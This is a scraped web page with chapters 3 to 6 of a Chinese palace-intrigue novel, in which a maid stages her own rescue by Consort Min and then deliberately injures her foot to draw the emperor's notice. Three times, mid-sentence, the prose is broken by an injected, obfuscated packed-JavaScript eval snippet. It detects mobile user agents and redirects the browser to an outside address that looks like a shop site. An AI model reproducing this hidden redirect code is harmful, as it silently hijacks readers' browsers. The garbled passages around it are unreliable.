《金殿销香》 3. 仙缘 可受闵淑女所托是假的，但卫湘要去见闵淑女又是真的。 现如今大偃后宫的品秩分九品十八阶，淑女乃是正八品的低位小宫嫔，说来并不起眼，然这位闵氏却有些特殊。 用宫人间盛传的说法讲，这是位“有仙缘”“得仙佑”的主儿。 之所以这样讲，概因闵氏本出身低微，却因种种机缘巧合得了好运。 她本是因父母双亡才进的宫，进宫时才四岁，被拨到了先帝谆妃身边侍奉。 好巧不巧的，这位谆妃在她进宫半年前刚失了与她同岁的女儿，一见着她便难免寄情，又听闻她双亲俱亡，更生出几分怜悯，索性将其收为养女。 宫妃收小宫女做养女，在大偃一朝并不是什么新鲜事，左不过是独守空房的女人们聊以慰藉，宗室玉牒自是不认。但纵使如此，也还有话说“不看僧面看佛面”，为着这些宫妃们的心意，养女们大多过得不错，便是小妃嫔膝下养着的，吃穿用度也比寻常宫人好上许多。谆妃乃是正二品的高位妃嫔，这般身份的妃嫔养女大多能做个有头脸的女官，到了年纪还能得嫁高门。 这便是闵氏的第一场际遇。 再说回这谆妃，她其实并不算得宠，却是孝纯皇后的本家堂妹。 自孝纯皇后故去，先帝未再立继后，孝纯皇后之子元煜就被交给了谆妃抚养。 楚元煜既嫡又长，五岁便被立为太子，十六岁时先帝大病，恐时日无多，就为其定下了婚事，依祖制册立了一名正妃、两位侧妃，又另择了四名贵女为太子妾。 闵氏虽非贵女，但因谆妃的缘故，成了太子妃妾之一。 谆妃原本的打算是闵氏与太子也算自幼相熟，搁在一起当是不错。却不料正因自幼相熟，且一个是养子、一个是养女，二人当惯了兄妹，男女之情全无，闵氏入了东宫，倒有些尴尬。 所幸，楚元煜也不曾亏待闵氏，在东宫时虽少去见她，吃穿用度却不曾少。 后来先帝驾崩，楚元煜继位，尊谆妃为谆太妃，闵氏也潜邸旧人也当有个高位才是。可闵氏唯恐高处不胜寒，宁可图个清闲平静，硬是赶在封贵嫔的旨意下来前为自己求了个从八品的采女。 正九品与从九品的长使和少使皆是由得幸宫女册上来的，算是半主半仆，因此在正经妃嫔里，采女便是最低。闵氏得了这采女的位子后就索性专心去侍奉谆太妃，得了闲便闷在自己宫里敬神悟道，还真得了她初时想要的清闲平静。 三年孝期结束，天子按例要大封六宫，但因知闵氏心意，此番加封也只给她晋到了淑女，只是另颁了许多赏赐。 六宫嫔妃知她是当真无争，前去贺她都贺得真心实意。 这当算是闵氏的第二场际遇——在这深宫里，能衣食无忧却又平平顺顺不遭嫉恨，是不易的。 卫湘决意去见她，无关她的这些际遇好坏，只因她在潜心敬神悟道。 闵氏的住处位于兰池宫竹静斋，这地方临近太妃们所住的慈寿宫，且兰池宫中并无主位，更无旁的妃嫔，只为让闵氏逍遥自在。 卫湘端着那盆昙花，一路沿着宫道往兰池宫走，走到竹静斋前的时候差不多是辰时末刻。 守在斋门前的宦侍瞧见她，客气地作揖：“姑娘这是……” “来给闵娘子送盆花。”卫湘说着，托了托手里的花盆，眼睛越过那宦侍的肩头，往西厢房扫了眼。 西厢房正是闵淑女供奉神像的地方，眼下房门半开，从卫湘的位置望过去，依稀可见有人跪在神前，应当就是闵氏了。 眼前的宦侍欲接她手里的花：“我帮姑娘送进去吧！” 卫湘端着花的双手摇头，美眸压低，轻轻摇头：“若是方便，我等一等，不劳公公了。” 那宦侍闻言稍稍一怔，旋而就懂了：又是一个想来磕头求神的。 都是凡夫俗子，谁不想求得神仙保佑呢？妃嫔们想在宫中供个神像容易，宫女宦官却未见得人人都能办到。 闵淑女这里长年供奉着三清，起先是有遇了难处的宫人大着胆子来拜，闵淑女心善又寡欲，偶然撞见也不曾管，后来慢慢的便常有宫人来求，闵氏亦从不介怀。 所以时至如今，竹静斋的宫人们对此都见惯不怪了。 那宦侍只笑了笑：“正好，西厢的窗沿上可再添一盆花，姑娘便不如直接送进去，一会儿娘子拜完了三清便该回房歇着了，姑娘正可去拜。” “多谢公公……”卫湘低头稍福，双颊泛起红晕，似是因为她并未明言要拜却被对方戳穿生了局促。 如此娇羞之态直令面前宦侍一阵恍惚，但他挨那一刀太早，如今虽年龄渐长却从未起过什么兴致，一时也参不透这重恍惚因何而来，便很快定住神，让出门伸手一引，示意卫湘自行入内。 卫湘就这样捧着花盆，顺利地进了闵淑女的西厢。 这西厢并不分内外间，房内除去神龛也无什么杂物，倒显得宽敞明亮。 西厢的房门在东侧，南、北两面墙与邻屋相连，因而没有窗。三座神龛端正地立在北墙前，闵淑女正跪在前头的蒲团上。 卫湘没有出言扰她，抬眸看了看，见西墙上有三扇窗，正当中与靠北那扇窗前都摆了花，唯独面前这扇空着，就安安静静地将花盆放了上去，而后便立在旁边眼观鼻、鼻观心地静等。 闵淑女又在神龛前跪了约莫一刻，便起了身。她敬神时不爱在身边留人，回身乍见卫湘，不由一怔。 卫湘犹低着头，深福下去：“奴婢是花房来送花的，淑女娘子安好。” 和着房内降真香的清幽味道，卫湘听到一声淡淡的：“好。” 她便起了身，闵淑女没再说什么，自出了门去。卫湘复又福身以做恭送，等她走远了，方移步前行，到蒲团前去下拜敬香。 三支清香供进坛里，卫湘跪回蒲团上。接下来她当撕心裂肺地哭上一场，便去想自己即将要给那老太监王世才做对食的事，可这事却并不能令她哭出一滴泪，她又转念去想姜玉露。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13728277|144988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 姜玉露的笑颜才在她脑海中一划，她就已恸哭出声。 竹静斋里素来是极安静的，闵氏清心悟道，就连身边的宫女宦官也沾染了几许沉静的出世之感。卫湘这哭声便犹如一道惊雷突然炸响在清幽沉静的密林深处，突兀得无可忽视。 于是，卧房里正为闵淑女奉茶的宫女希微手上一顿，接着虽是继续将那盏清茶奉给了闵淑女，视线却往外飘：“怎的这样难过？倒是奇了。” 闵淑女倒仍是沉静，安安稳稳地接了那茶细品，心里却也渗出了几许好奇。 希微说得不错，这确实是“奇了”。 素日来她这里拜神的宫人并不少见，但这毕竟是宫里，规矩礼数刻在他们的骨血里，是洗都洗不去的。 所以，哪有宫人敢在离主子这样近的地方如此痛哭呢？便是无声啜泣偶然被撞见了，都是要告罪的。 闵淑女想到这儿，搁了茶盏，便站起身：“我去瞧瞧。” 希微边扶住她边说：“奴婢一会儿喊她过来吧。” 闵淑女已往外走：“有些苦楚能说与神，却未必能说与人。我只去听听，或许还比喊来问话更清楚些。” 希微不再劝，主仆二人同出了屋，行至西厢门外停下。 离得近了，那哭声愈发显得痛彻心扉，但声音的主人在竭力地克制压抑，虽未能将哭声减弱，抽噎而出的话声却轻：“诸位上仙，救救信女吧！若能渡了此劫，信女来世愿当牛做马，侍奉诸位上仙！” 这话之后，好久都只有呜咽的哭声。 又听她说：“上仙明鉴，不是……不是信女贪图什么享乐，只是此劫若过不去，信女当真是要生不如死了。” 再下一语惊恐更甚，说是祈求，更像控诉：“那老太监已年过半百了，听说、听说原已有过七八位对食，皆尽殒命，我……我才十六岁啊……” 这前头两番言辞，闵淑女都只淡然听着——若说劫数，谁这一生没有呢？ 她鲜少干涉旁人的因果。 末一番话却令闵淑女眼底一颤，一时错愕之感、作呕之意并生。 她到底不是真的修仙得道之人，活在红尘之间，自能体谅疾苦，对同为女子的疾苦尤其如是。 是以犹豫几番，闵淑女终是提步迈过了眼前门槛。 卫湘伏在蒲团上哭得泣不成声，虽则那份恐惧是假的，玉露的事却当真如一根利刺，让她支撑不能。 忽见右侧余光里有一抹淡影一晃，似是女子的绢绸衣裙迤逦而至，她仿佛这才惊觉自己的失态，猛地闭口止哭，惊惶不定间，略略抬起两分头。 闵淑女正立在身边，居高临下地看着她。 卫湘慌乱地叩首：“娘子恕罪……” 她酝酿着此时当有的恐慌，纤弱的脊背瑟瑟发抖，愈显凄苦。 闵淑女抬眸看了看面前神龛中的三清道祖，薄唇轻启：“这人间疾苦太多，上仙们恐无法及时救你。有什么难事，不妨说与我听听。” 4. 获救 闵淑女话毕，只见跪伏身前的宫女遍身打了个激灵，好似她这番过问比她片刻前的突然出现更令人错愕。 接着，那张挂满泪痕的脸完全抬起来。 适才闵淑女刚敬完三清的时候，二人原是碰了个照面，但彼时尚余几步距离，卫湘又低着头，闵淑女便没多留意这与自己本不相干的人，并未看清她的长相。 现下，闵淑女方看清了。 眼前是一张美到极致的脸，肌肤白皙若羊脂美玉，乌发如黑绸。虽只薄薄施了粉黛，但仍难掩五官之精巧。她身上那一袭水蓝提花缎子琵琶袖短衫搭孔雀蓝百褶裙的宫装乃是粗使宫女们夏天都有的衣裳，且已洗得发白，但穿在她身上并不显黯淡，倒趁出一股子出尘的素雅。 素不爱理俗世的闵淑女竟不由怔了一瞬，那点沉寂已久的爱美之心罕见地活了，牢牢盯着她看了两息，在这张若神仙精心雕琢而出的脸上竟看不出一点让人觉得不好的地方。 若非要鸡蛋里挑骨头地说出点什么，那便是她气色瞧着差了些。 不知是被什么事搅扰，她眼下一片乌青，面上亦呈气血不足之态，又因刚刚哭过，泪痕未干，令她愈显黯淡，那双本该灿若明霞的眼睛里尽是苦楚，泪汪汪抬头望着。 卫湘就这么怔怔地望了闵淑女半晌，突然回过神，意识到面前的人或是救命稻草，又像是被她的两句关怀激出了更多难过，支撑溃散，便不顾礼数地一把抓住她的裙角，嚎啕大哭：“淑女娘子！救救奴婢吧……” 闵淑女眼见她哭得几欲背过气去，心下动容，俯身扶她：“你且起来，到我房里坐坐。有什么事，咱们慢慢说。” 卫湘仍是那副哭得脱力了模样，好生缓了几番才得以起身，遂弱柳扶风一般，趔趄着与闵淑女往卧房去了。 闵淑女近前侍奉的希微乃是谆太妃身边调来的，素来得力，见状不必闵淑女吩咐就着人备了温水，待卫湘进了屋就先请去洗了脸。 温水抚去泪痕，便令人的心情也平复了七八分。卫湘仿是渐次意识到了自己适才有多失礼，待得再被引去闵淑女面前，就要下拜谢罪。 闵淑女伸手挡了她，道：“不妨事，你坐吧。” 卫湘道了声谢，却束手站着，并无意落座。 一旁的宫女以灵端了张绣墩来，见卫湘神色拘谨，笑道：“我们娘子惯是不喜欢那些规矩的，你便听她的，坐下说话吧。不然她只觉别扭，倒什么也不好说了。” 卫湘这才依言落座，将王世才逼她就范的事絮絮说了，却略过姜玉露的死未提。 只是虽然她不提姜玉露，心中却时时处处都想着姜玉露，待到该哭的时候，便也能说哭就哭出来，哭得凄婉可怜，一度惹得侍于闵淑女两侧的希微与以灵一个哀叹、一个拭泪。 闵淑女听她说完，亦叹了口气，眉心微蹙，连连摇头，曼声轻语道：“这真是造孽的事……唉。”叹了口气，又言，“罢了，你别哭了。这事我若没问，还可不去理会。如今既然问了，便没有袖手旁观的理儿。” 继而语中一顿，又问：“早上可用膳了？” 卫湘自听到那句“我若没问，还可不去理会”就知自己已赌到了，心弦骤是一松，面上却仍只有凄色，未露半分得逞之快。忽听闵淑女问她早上用没用膳，连忙回话：“晨起急着来供奉三清祖师，又想……不用膳便来或是更显虔诚，不曾用过。” 闵淑女失笑：“祖师们可不管你吃不吃饭。”言毕就吩咐了希微一句，让她端些膳食到东厢去，又与卫湘说，“你先好好吃些东西，再让她们帮着你重新梳洗一番，一会儿便跟我走，免得到了地方却因体力不支失了礼数。” 闵淑女言及要去个“地方”，却没明言是什么地方，只因她心存善念，不想吓着卫湘。可卫湘步步为营，在昨晚的彻夜未眠间已将一环环都想得透彻，自然清楚闵淑女想带她去哪儿。 于是她也不必问，只做哭得恍惚顾不上究竟一般，哽咽着谢过了闵淑女的好意，随着以清去了。 以清将她带到用作书房的东厢便退出去，换了以盈进来陪她。吃食很快端上来，几道小菜并一碗清粥，都是素淡的口味。卫湘晨起没吃饭，既是为了尽快演完这出求个定论，也是真没胃口，现下见了这些清淡吃食倒真饿了，认认真真地用了一些。 以盈侍立在旁等她用完，引她坐到妆台前重新梳了妆。其间，卫湘觉察到以盈从镜中打量了她好几眼，却只做不觉，一味怔怔地望着面前妆台光洁的台面，犹是哭得恍惚的模样。 等她这厢忙完，闵淑女那边也收拾妥当了，就直接领她出了兰池宫。 一如卫湘所料，闵淑女带着她一路往东，不过一刻，就到了毗邻的慈寿宫门口。 慈寿宫历来是太妃们的住处，倘使有太后，便当住到北面更为堂皇的寿坤宫。因现在的谆太妃对皇帝有数年的养育之恩，皇帝本有心奉她入寿坤宫，谆太妃却不肯，推说自己住着没趣儿，宁可在慈寿宫与老姐妹们做伴儿，便住了慈寿宫正当中那一方最宽敞的端和殿。 然闵淑女虽带卫湘入了慈寿宫，却没去那端和殿，而是入了两道宫门就停了脚。 皇宫之中泾渭分明，慈寿宫也是一样。 前头的第一进宫门里是不住人的，只一方种着花花草草的小院，太妃们平日懒得过来，唯有进出慈寿宫时才会经过瞧上两眼。 这次进宫门内则是宫人们所住的下房了，而且只是下等杂役宫人们的下房，近前伺候的都住在太妃们的院子里，所以这里平日里也不大惹眼。 若想见到太妃太嫔们，则要再往后走，至少再过一道宫门，第三进院子里住的是几个低位份的太嫔，而后越往里的宫室越讲究，主人的位份也越尊贵。 ——譬如住在端和殿的谆太妃，只是为了称呼方便这么说罢了，实际该称“宁皇贵太妃”才是，是正经仅次于皇太后的尊位。 闵淑女在次进院里刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13728278|144988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 驻足，希微就探知了她的意思，走向院子右侧，叩响了一道房门。 前来开门的是个十三四岁的小宫女，一眼认出希微，连忙福身：“希微姐姐安好，姐姐可是有事吩咐？” 希微抿笑：“我哪有什么吩咐？是我们娘子想找白姑姑一叙。” “白姑姑”便是这一方小院的管事了，这小宫女正是伺候她的。 便见那小宫女几步跑进内室回话，只消片刻，白姑姑就出来了。 她约莫是三十来岁，听闻闵淑女要见她，脚步走得很快，很是殷勤的模样。 到了闵淑女面前，白姑姑笑逐颜开的福身：“淑女娘子安好！” “姑姑。”闵淑女抿着笑意，和善颔首，接着也没有什么弯弯绕绕，直接指了指跟在身侧的卫湘，“今儿是有事来求姑姑。这姑娘姓卫，单名一个湘水的湘字。她原是在花房当差的，偶然一见，倒与我甚是投缘，便想求姑姑将她调来这院里当差。这样日后我过来侍奉太妃，也可顺便同她说说话。” 白姑姑闻言不解：“娘子既然喜欢，何不直接将她调到竹静斋侍奉？太妃心疼娘子，这点小事娘子前去开个口，太妃没有不允的。” 闵淑女平淡道：“我日子简单，本就不喜人多。况且，这姑娘我是当朋友交下的，若放在身边，多了层主仆关系，倒不知该如何处是好。不如由姑姑照应着，我日后只当登门来串个门子，倒还都自在些。” 白姑姑听她这样说就没了疑虑，也没什么可多嘴的了。 其实这事就算闵淑女不给她解释，只一味让她照办，她也没什么可说。 这种差事，闵淑女这承欢谆太妃膝下的主儿直接到她跟前开口，那是抬举她，她若不给办，难不成还非要闵淑女去央了太妃，再由堂堂皇贵太妃亲口吩咐她么？没有那样的道理。 再退一步讲，这事也着实不大，只是从花房调个宫女来慈寿宫的外院洒扫罢了，又不是闵淑女要从宫外塞什么人进来。这样的寻常调动宫中日日都有，不费她什么事。 白姑姑便应下了，亲热地拉住卫湘的手，定睛一看，不由先夸了一句：“可真是个标致的美人儿了！”跟着又说，“那你便留在我这儿吧！这厢差事清闲，你也不必怕什么。” “谢姑姑。”卫湘守着礼数，低着头福身。 闵淑女又道：“花房那边，也请姑姑着人去回个话。就说是我瞧上了她，做主给调过来了，吩咐他们记个档。她的东西，也劳烦姑姑着人帮她收拾过来，莫要让她再走一趟了。” 白姑姑一听这话，就知此事不是面上这么简单，投缘之余只怕别有隐情。否则宫人们便是调往别处，也该自己去将东西收了带走才是，如何要借旁人之手？倒像在躲什么似的！ 可这左右是与她不相干的。 见闵淑女不欲多说，白姑姑便也没打算问，笑吟吟地应了这吩咐，又唤了适才传话的那小宫女出来，让她速去为卫湘收拾个住处。 5.蛰伏 闵淑女见事情妥了，便无意再做耽搁，笑向白姑姑又道：“有劳姑姑，那我自去侍奉太妃了。” 她素日都是这样，晨起便先来向谆太妃问安，有时只侍奉谆太妃盥洗梳妆，有时再陪谆太妃一道用个早膳，然后就径自回去敬神悟道，直至临近晌午再过来，一直留到傍晚。 白姑姑对此心中有数，施礼恭送了她，就满面和蔼地带着卫湘先安置去。 这前后一番看似顺利，实也是宫中荣辱的一角。若是个寻常的正八品小淑女，本难有这等脸面插手宫人调动之事。唯闵氏背后乃是谆太妃，又与今上又几分兄妹般的情分，位在淑女只因她想避世，宫里无人敢真当她拿个小淑女看，有时只怕比那高居正二品的清妃娘娘还多几分颜面，卫湘这事才得以轻巧地成了。 花房里，掌事的王世才挺着便便大腹，满面红光地含笑送走慈寿宫差来传话的小丫头，径自回到房里，关了门，这才气得摔了被子。 他用了十二分的力，令那瓷盏摔到地上的声音响得惊人。三两个小徒弟候在门外，被这声音吓得都一缩脖子，更没人敢进去劝他。 王世才独自立在堂屋中，适才的满面红光已化作气恼的涨红，喘了半晌的粗气，总算是平复了。 他跟自己说：这事怨不得别人。 ——只怪他对卫湘不曾设防！ 他原只觉得，卫湘最是老实不爱惹事，若不然单凭着那张脸，她也不当在这灰暗的永巷里熬到十六岁。只消她肯抛一个媚眼，便不知能把多少王公贵族迷得神魂颠倒，将她接出去过好日子。 所以，他只当卫湘是好拿捏的。 却不料如今卫湘突然使一招金蝉脱壳，明晃晃地摆了他一道。偏偏出手的还不是旁人，是背靠谆太妃的闵淑女，倒让他发怒都只敢闷在自己房里发。 王世才一时便想将这怒火发到姜玉露头上，左右她还没下葬，从那棺材里拉出来草席一裹扔出去喂了狗，也可一解他心头之气。 可这事终究也只是想想，他深知卫湘与姜玉露的姐妹情分，现下闵淑女又与卫湘明言一声“朋友”，倘他真敢做这事，卫湘与闵淑女讲了，闵淑女跑去谆太妃跟前提上一句，他怕是就要一并喂狗去了。 王世才揣摩清楚这番究竟，愈发气得咬牙：“好啊，小丫头围追堵截，倒是算得很尽！” 话是这么说，万般不忿到底是只能强忍下了，噎着口气将姜玉露好好安葬。 . 临近傍晚，夕阳西照。谆太妃今日传晚膳的时间早了些，闵淑女陪她一同用过膳，退出来的时辰也比平日早上些许。 她径直出了慈寿宫的门，昏暗天色下的宫道没什么人，很是安静。 已经憋了大半日的希微终于忍不住，开口道：“今日的那个卫姑娘，娘子怎的就将她调了来呢？” 闵淑女面上淡淡的：“不伸手拉她一把，难不成眼看着她二八年华去伺候个老太监？折福损报的。” 希微也认这话，只是仍拧着眉：“可她生得也……也太好看了，慈寿宫又是陛下常去的地方。今日她贸贸然地寻过来哭诉，娘子就真尽信了她说的？就不怕她另有打算，日后在这后宫惹出什么祸事来？” 闵淑女沉了一沉，各种忖量她本不欲多说，但见希微追问到这般，终是一喟，遂细细道：“一则，人心莫测，她若藏着旁的打算也不会说与我听，我便去猜疑也注定没有结果，庸人自扰罢了，还不如信她说的，只当做个善事。” “二则，你约是未曾细看，那卫氏当是个坚韧之人。今日虽大悲大痛，眼中犹显不屈，我问及经过，她憔悴成那般皆还强撑着心力，说了个清楚明白。” 希微仍不明：“那又如何呢？” 闵淑女失笑慨叹：“这样一个人，倘使她真想做什么，便不会轻言放弃，我若不帮她，她必会去寻别的路，总归是要成事的，那我帮与不帮又有什么不同？至于你说及的‘日后的祸事’，我们既不知她心思，这便都是肆意揣测。这宫里头最是爱将女人往坏里想，你莫要也学了去。” 希微听得一慌，便欲告罪。闵淑女的话却未完，犹是那样的波澜不惊：“其实要我说，不论男女，大奸大恶的都没有几个。后宫嫔妃相互撕咬成那样，追其根底不过都是想争得自己想要的东西。与其怪她们惹祸，倒不如去怪惹起这一切的男人，凡此种种都是因他而起的，他却能安心作壁上观。” 希微被这话所惊，吓得脸色煞白，告罪的话一下子忘了，惶恐道：“娘子慎言！况、况且……”她打量着闵淑女的脸色，辩了句说，“陛下待娘子也还是好的。” 闵淑女只笑笑：“就事论事罢了。他待我如何我自然知晓，可宫里的事，也就是这么点道理。” 希微还是心惊，再不敢接口，闵淑女也不欲再多论这些，主仆二人便都安静下来，一同回兰池宫了。 . 慈寿宫那次进院里，卫湘知晓这一步迈出去了就再无退路，却并不急于迈下一步。 只因这第一步虽也算得顺利，实则却与她的预想尚有些偏差——她本以为凭着闵淑女与谆太妃的面子，自己能直接被带到谆太妃那边侍奉，却不料只是在这外院。 这实是因她见的世面太少了。 她虽是自出生就在宫中永巷里，却从未在主子们的院中伺候过。起先待过几年浣衣局，后来去过造钟处，再后来就是这花房——这三处地方，皆在那条最不起眼的巷子里，花房已是其中最像样一处了。 又兼她一直只求平安，有意低调，现下蓦然回首，才知自己虽在这朝禁城里经了十六年的光阴，却仍对这里知之甚少。 但如今事情了了，她静下心来想想便也明白，现下这般才是应当的。 宫中下人繁多且等级森严，单是谆太妃殿里轮值当差的就有二三十人，再算上膳房的、院里洒扫的，加起来恐怕要有一二百人之多。如此算这慈寿宫中，宫人少说也要逾千数才像样。 布下这样多的人，为的就是能把各处都料理得井井有条，别让不值当的杂事惹主子烦心。 那她一个小小宫女的事，又如何能递到谆太妃眼前呢？只有没进过宫的文人胡写的话本子里才会那样讲。闵淑女倘若真那么办了，才是要闹大笑话。 所幸这点子偏差对她而言也不打紧，左右她也不是冲着谆太妃去的。 她便姑且心如止水地在慈寿宫里好好当起了差，白姑姑掌管的这一方小院差事极是简单，他们平日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13731766|144988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只需洒扫院落、侍弄好院子里那些花花草草便可，前者只需力气，本就没甚难的，后者更算得卫湘之所长，做起来信手拈来。 世人常爱以恶意揣度美人，但在没有利益纠葛的时候，大多数人也都是喜欢美人。现下又加上卫湘把分内差事都办得不错，性子亦是很好，几日下来，已与院子里的十二三个宫女都处得极好。 她们里有半数比她年长几岁，都爱极了这长得如画中仙子一般的漂亮妹妹，有好事总肯记着她，听了什么趣闻也都想来讲给她听。 卫湘因此在这慈寿宫里过得如鱼得水，若不是心里始终刺着玉露的仇，又因玉露一事醒悟自己顶着这张脸便是再低调也难在这为奴为婢的身份上安稳度日，她大抵会真觉得在这里混下去也不错了。 如此一晃就过去两个月，盛暑过去，天气转而凉爽下来。卫湘白日里用心当差，晚上要么静心抄经，要么就拿着过往积蓄托院子里的姐姐们帮她寻些上好的润肤膏脂，用以滋养她那双手。 她从前杂活干得多，脸虽生得好看，手却着实粗糙了些。所幸人还年轻，养回来得也快。 再有一事，就是她另花了不少银两，前前后后足花去了她全部积蓄的六七成之多，托人去太医院散了些消息。 消息中旁的不提，只说花房不日前死了个宫女，好像是姓姜来着。 除此之外，余下的心思当然就都花在了探知天子起居上。 她当值的这方院子是皇帝去端和殿的必经之所，因而只消几日就足以让她知道皇帝对谆太妃果有孝心，每日都要前来问安，但通常是在早朝之后。 卫湘因而便想过直接寻个契机与天子碰面，无奈早朝的长短没谱，时辰便不好估，有时朝中无事，他卯时未过就来了；有时事务繁多，临近午时都未必得见人影。 这就难以弄出什么“偶遇”，她只得打消了这念头。 反倒是每月十九，皇帝都会去寿坤宫给生母孝纯皇后敬香小祭，且是晨起赶在早朝前就去。又因寿坤宫与慈寿宫毗邻，这一日皇帝便会在敬香之后顺便去向谆太妃问安。 如此一来，前有敬香、后又有早朝的时间约束，这一天里他来去的时辰就总是规律的了。 可有了这时辰还不够，想要成事，卫湘还需多费一番功夫。 那些个话本细文里总将这种事写得简单，每每美人们做好了打算，迎面撞去再慌忙告罪就能成事。 这般套路卫湘从前还真信过，直至来了慈寿宫，她才知有多荒谬。 ——在过去的这两个月里，她连皇帝长什么样都没看见过，哪怕她当差的这方院子是皇帝进入慈寿宫的必经之路。 宫中礼数严明，在皇帝经过这方院的时候，他们这些低等的宫人都要退远，离正当中那条石子路少说也有一丈距离；又还要早早下拜，行的是顿首大礼，双手交叠于地，额头触在手背上。 这样一来，慢说他们想晃到皇帝跟前不可能，就是皇帝主动扫来一眼也看不到他们都长什么样，凭她生得令挨了一刀的宦官们都把持不住也无济于事。 卫湘只得另外想个法子，想来想去，就在十月十九这日的一早向白姑姑告了假，捧着一本《南华真经》，往兰池宫去了。 6.自伤 《南华真经》乃是道家经典，卫湘从被调进慈寿宫开始就在潜心抄录。如此大费工夫，自有一半真是为了感谢闵淑女的恩情，另一半却是为着下一步做打算。 她晨起趁着天还不亮就直接告了假出来，到兰池宫的时间也还早得很，入了竹静斋，恰在院子里遇上一宫女。 闵淑女近前侍奉的宫女拢共五人，掌事的叫希微，就是那日一直伴在闵淑女身边那一位。余下四个，依年龄大小取名，排下来依次是以清、以灵、以盈、以生，先头三位卫湘那日也都见过了，五人的名字俱出自《道德经》。 现下卫湘见到的正是那天没见着的以生，她平日负责给闵淑女梳头，这会儿正往屋里去，卫湘望见她的背影，就唤了声“姑娘”。 以生驻下足转过脸，卫湘方觉得面生不曾见过，正不知当如何称呼，以生已先笑起来：“呀！你是上月来过的漂亮姐姐，我远远看了一眼就记了一个月呢！” 说话间二人相互福了福，以生又问：“姐姐是来找淑女娘子的？” 卫湘点点头：“正是。原是感念淑女娘子的恩情，手抄了一本《南华真经》送来，不知淑女娘子方不方便？” 以生又轻轻“呀”了一声，歉然笑道：“姐姐来得好早，淑女娘子这会儿才起，尚不及梳妆，恐不便见人。若不然姐姐稍候一会儿？我取些茶点来请姐姐吃。” 话未说完，卫湘已面露难色，以生一见，恍悟卫湘缘何来得这样早，一拍额头：“是了！姐姐在慈寿宫那边的洒扫差事尽在早上，怕是也不好耽搁太久。不若姐姐先将这经交给我，我必好生收着，安安稳稳地帮姐姐交到淑女娘子手里。” 卫湘颔首衔笑，向她深福：“那便有劳了。”说着递上经文，便不再多留，仿佛真要去赶着当差一般，行色匆匆地告辞离开。 然此时天色尚早，她若此时就回慈寿宫，怕是皇帝尚未向生母敬完香告退出来，便见不着。况且又有礼数束着，她便是见着了，也只得伏地叩拜，皇帝仍看不着她一眼。 凡此种种，卫湘皆思虑到了。 她一出兰池宫就停了脚，不作声地回身往后看了看——守在宫门内候命的宦官并未跟出来，她站在这宫门一侧的位置看不着他，他应也同样瞧不见她。 卫湘摸出锦帕，折了三折，咬在口中。抬起右脚绷住脚背，朝面前的石狮基座比划了两下，闭眼将心一横，狠狠踢撞上去。 因她绷着脚，便是脚面直接撞到基座上去的，猛烈的撞击逆了筋骨本来的方向，她恍惚听到“咯吧”一声闷响，遂而剧痛骤起，热泪夺眶，连惨叫都径自从胸中翻出来，卫湘死死咬着帕子、又抬手用力捂嘴，才将喊声硬压制回去。 她颤栗着将帕子揣回袖中，继而小心翼翼地放下悬着的脚，足尖才触及地面就觉一阵胀痛，想是应该肿了。 卫湘痛得连吸几口冷气，又不肯耽误了时间，就扶着身侧宫墙，硬熬着疼，一步一步地往慈寿宫挪。 每走一步，剧痛都令她心跳紊乱一阵。她本是极怕疼的，先前在花房侍弄月季时被花刺扎了手，只是冒了个血珠都忍不住流了泪，玉露见状心疼得捧着她的手“呼呼”地吹了许久。 现如今疼成这样，她倒不哭了。 因为玉露死了，日后再有什么痛也敌不过玉露的死更让她痛了。 兰池宫离慈寿宫不远，沿着这条宫道前行不过三十余丈，就是慈寿宫的宫门，但两宫之间又还有条宫道，与宫门前横铺的这条形成一个十字。卫湘便在那过道相交处拐了弯，并不走远，只藏身于慈寿宫的墙后，然后便屏住呼吸观察侧前的宫道。 她做得万般小心，唯有视线张望出去，身子不敢前倾一点，连裙摆都死死往后压着。 过了约莫半刻，卫湘等到了。 这一遭倘使真按高祖年间定下的宫规，此时这里也该有宫人先行清道，以免不相干的人惊扰圣驾，但这条宫规据传连高祖本人都觉得厌烦，觉得自己日日都不免在宫里行走，处处都要清道过于繁琐，时常能免则免。 如此再经两代，到了先帝时，先帝惯来体恤宫人，外出行走时就索性不再理会宫道上的事了。宫人们无需再先行避让，只需在见着圣驾时按规矩行礼。 于是她便清清楚楚地看到一行人浩浩荡荡地自慈寿宫正门出来，走在当前正中的那位一袭玄色，戴十二旒冠冕，正是天子朝服。 隔着夜色与那冕前的十二旒，她看不见他的样貌，可她原也不必在意他长什么模样。她安然数了三息，然后右手猛地扣住墙角，身体缓缓跌坐下去。 